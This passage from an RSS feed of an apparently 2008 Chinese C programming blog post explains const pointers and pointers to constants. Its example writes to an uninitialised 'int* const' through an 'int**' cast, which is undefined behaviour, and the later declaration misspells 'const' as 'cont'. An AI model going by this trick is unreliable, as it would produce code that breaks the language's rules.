href="http://www.bc-cn.net/Article/Search.asp?Field=Title&amp;ClassID=&amp;keyword=%D6%B8%D5%EB&amp;Submit=+%CB%D1%CB%F7+"><u><font color=#0000ff>指针</font></u></a>在声明的时侯一定要给它赋初值.否则,就不能直接给它赋值.<br>但是,如果一定要给它赋上一定的值,是可以的.如下例子:<br>#include&lt;stdio.h&gt;<br>int main()<br>{<br>&nbsp;&nbsp;&nbsp;&nbsp;int a=2;<br>&nbsp;&nbsp;&nbsp;&nbsp;int* const p;<br>&nbsp;&nbsp;&nbsp;&nbsp;int **p1=(int**)&amp;p;<br>&nbsp;&nbsp;&nbsp;&nbsp;*p1=&amp;a;<br>&nbsp;&nbsp;&nbsp;&nbsp;printf("%d",*p);<br>&nbsp;&nbsp;&nbsp;&nbsp;return 0;<br>}<br>&nbsp;&nbsp;&nbsp;&nbsp;经过上面的介绍,相信大家对指向常量的常<a class=channel_keylink href="http://www.bc-cn.net/Article/Search.asp?Field=Title&amp;ClassID=&amp;keyword=%D6%B8%D5%EB&amp;Submit=+%CB%D1%CB%F7+"><u><font color=#0000ff>指针</font></u></a>的声明也不难写出吧.它的声明形式:<br>cont int* const p;它就不用作过多的介绍了,指向常量的常指针就是指向常量的<a class=channel_keylink href="http://www.bc-cn.net/Article/Search.asp?Field=Title&amp;ClassID=&amp;keyword=%D6%B8%D5%EB&amp;Submit=+%CB%D1%CB%F7+"><u><font color=#0000ff>指针</font></u></a>与<br>常<a class=channel_keylink href="http://www.bc-cn.net/Article/Search.asp?Field=Title&amp;ClassID=&amp;keyword=%D6%B8%D5%EB&amp;Submit=+%CB%D1%CB%F7+"><u><font color=#0000ff>指针</font></u></a>的复合了.<br>&nbsp;&nbsp;&nbsp;&nbsp;好了就说到这里吧.</p>
<img src ="http://www.cppblog.com/yjjlovewjf/aggbug/42369.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/yjjlovewjf/" target="_blank">wǒ愛伱--咾婆</a> 2008-02-01 21:09 <a href="http://www.cppblog.com/yjjlovewjf/archive/2008/02/01/42369.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item></channel></rss>